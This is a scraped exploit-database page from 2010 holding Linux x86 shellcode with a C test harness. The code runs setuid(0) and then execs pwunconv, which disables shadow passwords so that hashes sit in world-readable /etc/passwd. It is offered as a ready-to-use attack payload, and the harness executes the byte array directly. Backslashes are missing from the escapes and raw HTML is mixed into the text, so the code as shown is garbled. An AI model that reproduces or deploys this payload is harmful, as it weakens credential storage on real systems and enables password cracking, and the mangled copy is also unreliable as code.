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linux/x86 setuid(0) && execve(/usr/sbin/pwunconv,0,0

Posted on 15 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 setuid(0) &amp;&amp; execve(/usr/sbin/pwunconv,0,0) 42 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================================
linux/x86 setuid(0) &amp;&amp; execve(/usr/sbin/pwunconv,0,0) shellcode 42 bytes
========================================================================


#Special Thanks Inj3ct0r Exploit DataBase
#I Love Inj3ct0r.Com
#include &lt;stdio.h&gt;

const char sc[]= &quot;x31xdb&quot; //xor ebx,ebx
 &quot;x8dx43x17&quot; //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!
 &quot;x99&quot; //cdq
 &quot;xcdx80&quot; //int 80 //setuid(0) shouldn't returns -1 right? ;)
 &quot;xb0x0b&quot; //mov al,0bh
 &quot;x52&quot; //push edx /Termina la cadena con un 0
 &quot;x68x63x6fx6ex76&quot; //push dword &quot;conv&quot;
 &quot;x68x70x77x75x6e&quot; //push dword &quot;pwun&quot;
 &quot;x68x62x69x6ex2f&quot; //push dword &quot;bin/&quot;
 &quot;x68x73x72x2fx73&quot; //push dword &quot;sr/s&quot;
 &quot;x68x2fx2fx2fx75&quot; //push dword &quot;///u&quot;
 &quot;x89xe3&quot; //mov ebx,esp
 &quot;x89xd1&quot; //mov ecx,edx
 &quot;xcdx80&quot;; //int 80h

void main()
{
 printf(&quot;
~ This shellcode disables shadowing on a linux system ~&quot;
 &quot;

	 ~ Coded by vlan7 ~&quot;
 &quot;
	 ~ http://www.vlan7.org ~&quot;
 &quot;

 ~ Date: 4/Jul/2009&quot;

 &quot;
	You'll have the passwords stored in /etc/passwd.&quot;
 &quot;
	For undo purposes use the pwconv command.&quot;
 &quot;
	 ~ Cheers go to: Wadalbertia&quot;
 &quot;
	 ~ Shellcode Size: %d bytes

&quot;,
 sizeof(sc)-1);

 (*(void (*)()) sc)();
}


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